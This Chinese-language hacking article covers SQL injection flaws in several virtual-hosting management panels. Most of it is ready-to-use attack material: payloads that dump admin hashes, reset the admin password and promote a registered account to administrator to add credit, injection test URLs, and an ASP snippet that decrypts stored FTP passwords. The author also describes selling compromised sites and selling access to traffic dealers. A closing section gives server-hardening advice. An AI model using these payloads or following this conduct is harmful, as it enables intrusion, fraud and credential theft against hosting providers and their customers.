現(xiàn)在大多數(shù)站長用的虛擬主機,而國內(nèi)的IDC服務(wù)提供商參差不齊,安全性也是差別很多。多數(shù)IDC用的都是虛擬主機管理軟件,直接安裝完設(shè)置一下,一個IDC網(wǎng)站,包括整體服務(wù)就弄好,所以一切安全性都是軟件自動設(shè)置。這種軟件的好處是顯而易見的,方便,不用人工去干預(yù)。但是一旦軟件本身存在漏洞,服務(wù)器上的所有站點全都遭殃,而很多IDC服務(wù)商由于服務(wù)器眾多,為了圖方便,即使出現(xiàn)一些漏洞,也不會每臺機器去打補丁。
本人曾經(jīng)檢測過的站點所在服務(wù)器,主要使用的虛擬主機管理軟件主要有這么幾個:
星外主機管理系統(tǒng)
目前國內(nèi)70%的空間上都用的這個,曾經(jīng)以bt的設(shè)置權(quán)限出名但是近期星外的菊花被爆的也是70%到目前為止官方已經(jīng)修補了漏洞遇到的星外基本沒有可寫目錄了郁悶的一點是net的馬只要執(zhí)行cmd iispy 直接報錯注冊表也做了相對的權(quán)限設(shè)置。以前的具體利用方法這里就不說了。星外又開始bt了。
華眾虛擬主機管理系統(tǒng)
國內(nèi)50%的空間商都用的這個,而hzhost最新版本是6.5,此版本的管理頁面存在嚴(yán)重的SQL注入漏洞,可以任意修改虛擬主機后臺密碼。程序domain/login.asp對用戶提交的參數(shù)未做有效過濾,導(dǎo)致SQL注射漏洞。
選擇域名管理,在域名輸入框輸入測試的語句。如何判斷漏洞是否存在呢?我們輸入:sectop’ 密碼隨意輸入。爆出數(shù)據(jù)庫為MSSQL的數(shù)據(jù)庫
先爆管理員密碼:sectop’ and (select top 1 isnull(cast([u_nme] as nvarchar(4000)),char(32))+char(94)+isnull(cast([U_pss] as nvarchar(4000)),char(32)) from (select top 2u_nme,U_pss from [hzhost]..[memlst] where 1=1 order by [u_nme]) t order by [u_nme] desc )>0-- and ’1’=’1
密碼是MD5加密的,大家去各大解密網(wǎng)站解密。如果密碼設(shè)置復(fù)雜,短時間無法破解。我們可以改管理的密碼,使用完畢后請改回去。語句:sectop’ UPDATE [memlst] SET u_pss=’xxxxxxx’ WHERE u_nme=’admin’--此語句是把管理員密碼改為xxxxxxx我們還可以將自己注冊的普通帳戶提升成管理員權(quán)限,注冊請在前臺注冊。
語句:
sectop’ UPDATE [memlst] SET u_sys=6 WHERE u_nme=’你注冊的用戶名’--
sectop’ UPDATE [memlst] SET u_pwr=2 WHERE u_nme=’你注冊的用戶名’--
提交以上二句代碼即可提升你的權(quán)限為管理員。提交后可在前臺登陸后轉(zhuǎn)到管理界面,或者直接登陸后臺地址。
在后臺就可以給自己加錢和開通域名和空間,此漏洞危害很大。
-------------------------------------------------------------------------------------------
易方虛擬主機管理軟件
http://www.myhack58.com/Pdt_List.asp?Sort=EM’
http://www.myhack58.com/Pdt_List.asp?Sort=EM’ and ’1’=’1
返回正常.
證明存在注入.
用NBSI 檢測:
注意:
要添加特征字符
用阿D注入工具不能檢測出數(shù)據(jù).
只能用NBSI 或手工注入. 管理員表:EfangAdmin
密碼加了密.
跟MD5相似....在怎么利用就不說了,和上面差不多
易方的主機系統(tǒng)web目錄的隨機名稱真叫人郁悶,但是只要得到路徑可以跨站。
-------------------------------------------------------------------------------------------
藍芒虛擬主機管理系統(tǒng)
問題是出在Scripts/agent/Combine/buy.asp文件上,16行到25行之間strSQL="Select a.*, b.STName from v_ProdInfo a, T_DNS_ServiceType b where a.STCode=b.STCode
and a.ProdCode=’" & Request("ID") & "’ and a.ProdStat<>’3’"
Set Rs= Server.CreateObject("ADODB.Recordset")
Rs.open strSQL,Cn,1,1
If Rs.Eof Then
Response.Write "
無法購買該產(chǎn)品
"
Rs.Close
Cn.Close
Call PrintPageBottom
Response.End
end if
大家很容易就可以看到id這個變量從request以后沒經(jīng)過處理直接放到查詢語句中.然后就是一個很簡單的字符型注入漏洞了.隨便去找個藍芒的站點測試一下,首先得注冊一個用戶,登陸.然后去業(yè)務(wù)申請,域名注冊里面看看,把鼠標(biāo)隨便放到一個產(chǎn)品的"詳細(xì)"鏈接上,記錄下它的ProdCode值.我這里是com(如http://www.myhack58.com/scripts/agent/ProductInfo.asp?ProdCode=com),不過我看好像很多站點都是數(shù)字的,例如101,大家按情況改了.然后構(gòu)造一下注入語句.
http://www.myhack58.com/Scripts/agent/Combine/buy.asp?id=com’ and 1=1--
http://www.myhack58.com/Scripts/agent/Combine/buy.asp?id=com’ and 1=2--
最后猜解出密碼941CFBCF40B96B8169CEC930976FEC00,可謂歷盡艱辛,發(fā)現(xiàn)管理虛擬主機的時候是有個鏈接是可以ftp登陸的,如ftp://user:[email protected],但是我看數(shù)據(jù)表里也就這么一個密碼值了.也就是說藍芒給這個密碼用的是可逆的算法.于是又馬上跑回去看代碼,最后終于發(fā)現(xiàn)里面有解碼的函數(shù).但是因為是寫在組件里面的,也沒得了解它的加密算法.但是,要知道密碼,還是有方法滴.
<%
password="25E41385F01E381944F0646AE44187AA"
Set ASPDe = Server.CreateObject("BlueEncrypt.Decode")
%>
密碼為<%=AspDe.DeStr(password)%>
替換一下password的值,然后密碼就出來了,呵呵~~~
-------------------------------------------------------------------------------------------
集成好的虛擬主機軟件雖然方便管理,但是一旦出現(xiàn)漏洞,安全性也是顯而易見的。如果都采用純手工管理,嚴(yán)格設(shè)定安全性,安全性比用別人軟件要強N多。
但是我發(fā)現(xiàn),真正純手工配置的服務(wù)器少只又少,這就造成了,有時候我搞目標(biāo)站以后,拿到了整臺服務(wù)器的權(quán)限,所有站點的資源有了,一個站賣幾百,但是有些小站不是很好賣,價格就壓低點,賣給流量商掛插件也不錯。
說了這么多虛擬主機管理系統(tǒng)的漏洞,想必有些朋友對怎么樣配置安全的虛擬主機比較感興趣,其實安全是個整體,很多要注意的安全配置都融入在細(xì)節(jié)中。
分別講兩個平臺吧:
首先是win,一般的架構(gòu)是 IIS+asp+aspx+php+mysql+mssql,jsp空間是IIS+tomcat+jdk(也有些空間商用jboss,但是還是tomcat居多)
IIS這塊要注意每個站采用獨立用戶guests組,單獨給根目錄和IIS連接帳戶設(shè)置權(quán)限,如果要跑aspx還必須加入IIS_WPG組,并采用獨立的進程池,啟動進程帳戶用獨立用戶。擴展映射要刪除不必要的,比如說:asa,cer等,還應(yīng)該建立一個mdb的擴展映射,防止access數(shù)據(jù)庫被下載。數(shù)據(jù)庫這塊對于mssql,使用public權(quán)限連接,否則db_owner連接只要知道網(wǎng)站路徑,備份一句話是相當(dāng)容易的事情。對于mysql,則使用grant給用戶和數(shù)據(jù)庫授權(quán),不要用root賬號,嚴(yán)格一點的等cms裝完以后(以為安裝時候可能有create table等操作),只給insert,delete,update,select權(quán)限。系統(tǒng)這塊要刪除危險的一些組件,比如說wscript,磁盤權(quán)限要做好,防止跨目錄。
至于IIS+tomcat+jdk的架構(gòu),一定要注意tomcat安裝完以后,要建立一個低權(quán)限用戶,在服務(wù)里面設(shè)置tomcat以低權(quán)限帳戶運行,否則一個shell,服務(wù)器就遭殃。
其次是linux,一般的架構(gòu)是apache+mysql+php(有些國外IDC用nginx或者lighthttpd做webserver),apache要注意用php_admin_value open_basedir 限制跨目錄瀏覽,php.ini中注意display_errors要設(shè)置Off,否則容易爆web路徑,還有disable_functions要屏蔽system,exec等危險函數(shù),apache則可以建立一個單獨用戶來運行,mysql寫shell腳本,每日或每周備份。一些服務(wù)像FTP、SSH盡量使用SSL,防止別人嗅探